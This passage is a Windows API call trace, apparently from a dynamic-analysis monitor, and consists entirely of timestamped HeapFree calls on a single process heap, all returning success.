	[0161.028] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.035] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.041] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.231] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.234] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.234] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.237] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.241] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.247] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.247] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.249] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.249] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.249] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.259] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.259] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.264] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.264] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.264] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.267] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.267] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.267] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.382] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.387] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.390] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.390] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.407] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0161.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0161.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.417] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.422] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.423] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0161.424] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.607] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.617] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.693] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.694] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.695] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.695] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.696] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.698] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.699] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.699] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.700] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.701] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.703] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.703] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.704] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.705] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.706] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.707] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.708] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.709] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.709] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.710] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.711] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.713] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.713] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.714] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.714] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.716] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.717] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.718] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.720] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.721] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.723] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.723] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.724] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.724] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.725] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.725] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.727] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.728] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.729] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.730] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.730] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.739] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.753] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.760] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.764] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.770] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.790] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.790] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.794] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0162.000] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0162.004] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0162.004] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0162.013] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.016] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.016] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0162.021] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0162.023] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.023] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.024] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.024] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0162.024] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0162.026] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0162.026] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0162.033] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.033] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.064] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.064] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0162.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0162.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0162.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0162.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0162.092] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0162.092] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0162.093] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0162.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.107] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.110] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.293] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.657] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.659] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.665] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.667] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.667] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.667] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.667] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.670] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.670] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.671] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.674] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.678] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.679] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.679] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.679] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.681] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.685] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.686] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.686] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.688] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.689] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.689] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.691] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.692] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.693] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.693] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.694] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.695] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.695] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.696] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.697] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.757] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.760] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.771] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.772] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.774] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.775] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.776] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.785] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.786] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.786] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.787] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.788] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.789] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.790] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.793] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.794] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.795] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.796] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.796] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.802] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.802] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.803] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.804] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.804] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.806] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.806] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.806] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.810] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.810] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.811] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.811] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0162.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0162.815] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.816] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
